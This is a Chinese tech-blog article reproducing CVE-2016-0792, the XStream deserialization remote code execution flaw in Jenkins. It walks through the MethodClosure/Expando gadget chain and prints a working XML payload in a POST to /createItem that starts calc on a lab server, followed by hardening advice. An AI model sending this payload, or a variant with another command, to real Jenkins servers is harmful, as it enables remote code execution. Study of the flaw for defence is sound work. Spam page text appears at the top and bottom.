91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何進行XStream反序列化組件攻擊CVE-2016-0792漏洞復現

發布時間:2021-12-28 17:03:09 來源:億速云 閱讀:165 作者:柒染 欄目:安全技術

今天就跟大家聊聊有關如何進行XStream反序列化組件攻擊CVE-2016-0792漏洞復現,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。

XStream組件功能

XStream可以輕易的將Java對象和xml文檔相互轉換,而且可以修改某個特定的屬性和節點名稱,而且也支持json的轉換。

它具有以下特點:

  • 使用方便 - XStream的API提供了一個高層次外觀,以簡化常用的用例。

  • 無需創建映射 - XStream的API提供了默認的映射大部分對象序列化。

  • 性能 - XStream快速和低內存占用,適合于大對象圖或系統。

  • 干凈的XML - XStream創建一個干凈和緊湊XML結果,這很容易閱讀。

  • 不需要修改對象 - XStream可序列化的內部字段,如私有和最終字段,支持非公有制和內部類。默認構造函- - 數不是強制性的要求。

  • 完整對象圖支持 - XStream允許保持在對象模型中遇到的重復引用,并支持循環引用。

  • 可自定義的轉換策略 - 定制策略可以允許特定類型的定制被表示為XML的注冊。

  • 安全框架 - XStream提供了一個公平控制有關解組的類型,以防止操縱輸入安全問題。

  • 錯誤消息 - 出現異常是由于格式不正確的XML時,XStream拋出一個統一的例外,提供了詳細的診斷,以解決這個問題。

  • 另一種輸出格式 - XStream支持其它的輸出格式,如JSON。

值得注意的是:它轉換對象時,不需要對象繼承Serializable接口。 這極大的方便了反序列化攻擊。

XStream簡單序列化代碼如下:

@Test
public void testWriter()
{
    Person person =newPerson();

    //Set the properties using the setter methods
    //Note: This can also be done with a constructor.
    //Since we want to show that XStream can serialize
    //even without a constructor, this approach is used.

    person.setName("Jack");
    person.setAge(18);
    person.setAddress("whu");

    //Serialize the object
    XStream xs =newXStream();

    //Write to a file in the file system

    try{
         String filename ="./person.txt";
         FileOutputStream fs =newFileOutputStream(filename);
         xs.toXML(person,fs);
    } catch (FileNotFoundException e1) {
         e1.printStackTrace();
    }
}

可以看到,XStream可以很方便地java對象轉換為xml文件,生成文件如下:

<model.Person>
  <name>Tide</name>
  <age>18</age>
  <address>whu</address>
</model.Person>

也可方便的將xml文件反序列化為java對象:

@Test
public void testReader() 
{
    XStream xs = new XStream(new DomDriver());
    Person person = new Person();

    try {
        String filename = "./person.txt";
        File file = new File(filename);
        FileInputStream fis = new FileInputStream(filename);
        //System.out.println(filename);

        System.out.println(FileUtils.readFileToString(file));

        xs.fromXML(fis, person);

        //print the data from the object that has been read
        System.out.println(person.toString());

    } catch (FileNotFoundException ex) {
        ex.printStackTrace();
    } catch (IOException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    }
}

發現Sink

對于一個漏洞利用,必然有一個敏感的Sink。它可以類或者函數等,它的作用是執行命令或者讀寫文件等敏感操作。可以被攻擊者所利用,去做一些事情。這個漏洞的Sink就是一個MethodClosure閉包類:

/**
 * Represents a method on an object using a closure which can be invoked
 * at any time
 * 
 */
public class MethodClosure extends Closure {

    private String method;

    public MethodClosure(Object owner, String method) {//構造函數,傳入對象和方法名。
        super(owner);
        this.method = method;

        final Class clazz = owner.getClass()==Class.class?(Class) owner:owner.getClass();

        maximumNumberOfParameters = 0;
        parameterTypes = new Class [0];

        List<MetaMethod> methods = InvokerHelper.getMetaClass(clazz).respondsTo(owner, method);

        for(MetaMethod m : methods) {
            if (m.getParameterTypes().length > maximumNumberOfParameters) {
                Class[] pt = m.getNativeParameterTypes();
                maximumNumberOfParameters = pt.length;
                parameterTypes = pt;
            }
        }
    }

    public String getMethod() {
        return method;
    }

    protected Object doCall(Object arguments) {
        return InvokerHelper.invokeMethod(getOwner(), method, arguments);//調用任意對象(owner)的任意方法(method)。
    }

    public Object getProperty(String property) {
        if ("method".equals(property)) {
            return getMethod();
        } else  return super.getProperty(property);        
    }
}

根據類的描述可知道是可以使用其調用對象的方法,并且繼承了Closure類。而其doCall方法,它直接使用反射機制調用了我們的任意對象方法。并且對象和方法名是可以通過構造函數傳入的。繼續看父類(Closure):

public V call() {
    final Object[] NOARGS = EMPTY_OBJECT_ARRAY;
    return call(NOARGS);
}

@SuppressWarnings("unchecked")
public V call(Object... args) {
    try {
        return (V) getMetaClass().invokeMethod(this,"doCall",args);
    } catch (InvokerInvocationException e) {
        ExceptionUtils.sneakyThrow(e.getCause());
        return null; // unreachable statement
    }  catch (Exception e) {
        return (V) throwRuntimeException(e);
    }
}

調用父類(Closure)的call方法即可自動調用子類的doCall方法。于是,如下代碼即可執行彈出計算器:

MethodClosure methodClosure = new MethodClosure(new java.lang.ProcessBuilder("calc"), "start");
methodClosure.call();

說明:無法控制方法的參數(args),只能通過調用call(參數)來實現,因此利用的局限性比較大。只能找尋一個對象具有無參方法,來進行利用。

自動觸發

在Expando類中,發現了Closure.call方法的調用。而且是在hashCode方法中:

/**
 * This allows hashCode to be overridden by a closure <i>field</i> method attached
 * to the expando object.
 *
 * @see java.lang.Object#hashCode()
 */
public int hashCode() {
    Object method = getProperties().get("hashCode");
    if (method != null && method instanceof Closure) {
        // invoke overridden hashCode closure method
        Closure closure = (Closure) method;
        closure.setDelegate(this);
        Integer ret = (Integer) closure.call();//調用危險方法
        return ret.intValue();
    } else {
        return super.hashCode();
    }
}

常用的HashMap類中,存在調用hashCode方法:

public V put(K key, V value) {
    if (key == null)
        return putForNullKey(value);
    int hash = hash(key.hashCode());  // 調用key的hashCode方法
    int i = indexFor(hash, table.length);
    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
            V oldValue = e.value;
            e.value = value;
            e.recordAccess(this);
            return oldValue;
        }
    }

    modCount++;
    addEntry(hash, key, value, i);
    return null;
}

以下為測試自動觸發的payload:

@Test
public void testExploit()
{
    Map map = new HashMap<Expando, Integer>();
    Expando expando = new Expando();

    MethodClosure methodClosure = new MethodClosure(new java.lang.ProcessBuilder("calc"), "start");
    //methodClosure.call();

    expando.setProperty("hashCode", methodClosure);

    map.put(expando, 123);
}

CVE-2016-0792漏洞復現

使用了XStream庫的應用有很多,Jenkins是其中一個。接下來以CVE-2016-0792為例進行漏洞復現。

首先需要安裝jenkins,這里使用的是1.642.1版本,其他版本可以自行下載

(http://archives.jenkins-ci.org/war-stable/1.642.1/jenkins.war)

在命令行內安裝下載好的war包。這里需要在本地配置java環境。

java -jar C:\Users\Administrator\Desktop\jenkins.war

如何進行XStream反序列化組件攻擊CVE-2016-0792漏洞復現完成后訪問http://ip:8080。可以打開即為安裝成功。

如何進行XStream反序列化組件攻擊CVE-2016-0792漏洞復現

點擊“新建”,將Burp抓到的GET包轉為POST包

如何進行XStream反序列化組件攻擊CVE-2016-0792漏洞復現

在攻擊機內使用burp構造以下數據包

POST /createItem?name=foo HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://192.168.92.150:8080/
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: 192.168.92.150:8080
Cookie: JSESSIONID.45f4c58a=15p7yy31dzajd1dtooqm83m4ow; screenResolution=1718x926
Connection: keep-alive
Content-Type: text/xml
Content-Length: 895
<map>
  <entry><groovy.util.Expando>  <expandoProperties><entry>  <string>hashCode</string>  <org.codehaus.groovy.runtime.MethodClosure><delegate class="java.lang.ProcessBuilder">  <command><string>calc</string>  </command>  <redirectErrorStream>false</redirectErrorStream></delegate><owner class="java.lang.ProcessBuilder" reference="../delegate"/><resolveStrategy>0</resolveStrategy><directive>0</directive><parameterTypes/><maximumNumberOfParameters>0</maximumNumberOfParameters><method>start</method>  </org.codehaus.groovy.runtime.MethodClosure></entry>  </expandoProperties></groovy.util.Expando><int>123</int>
  </entry>
</map>

如何進行XStream反序列化組件攻擊CVE-2016-0792漏洞復現

可以看到靶機內彈出計算器程序

如何進行XStream反序列化組件攻擊CVE-2016-0792漏洞復現

利用條件

1. 權限限制條件:

無論匿名用戶,還是登陸用戶,權限必須具有“Overall的read權限和Job的create權限”兩個權限(當然具有其他權限越多越好,若擁有administrater權限,其他任何權限都不是必須條件了,因為administrater為最高權限,故這里不考慮administrater)。因為該個漏洞是利用的createitem創建job的功能去調用api,所以create是必須的,而Jenkins最基本的權限是overall的read權限,用戶必須賦予閱讀的權限,不然什么都看不到。

2. 版本限制條件:

jenkins版本小于 1.650 (1.650版本已修復該問題)

3. post數據內容類型:

構造一個惡意的 XML 文檔發送至服務端接口時,內容類型需注意為xml。

安全加固

  • 更新 Jenkins 至最新版本 1.650以上。

  • jenkins做訪問控制,收入內網不開放往外網。

  • 禁止jenkins的匿名訪問權限。

  • 保證每個jenkins賬號不為弱口令。

看完上述內容,你們對如何進行XStream反序列化組件攻擊CVE-2016-0792漏洞復現有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注億速云行業資訊頻道,感謝大家的支持。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

保靖县| 鸡东县| 焉耆| 临泽县| 寻甸| 格尔木市| 新丰县| 绥芬河市| 博野县| 珠海市| 宜川县| 海林市| 广宁县| 大荔县| 永年县| 鸡西市| 华安县| 萝北县| 漳州市| 利辛县| 全椒县| 太仓市| 岱山县| 尚志市| 杭锦旗| 迁西县| 吐鲁番市| 佛坪县| 新泰市| 望江县| 香河县| 天祝| 郑州市| 延边| 桂平市| 四平市| 遵义县| 开封市| 宝兴县| 安图县| 昌乐县|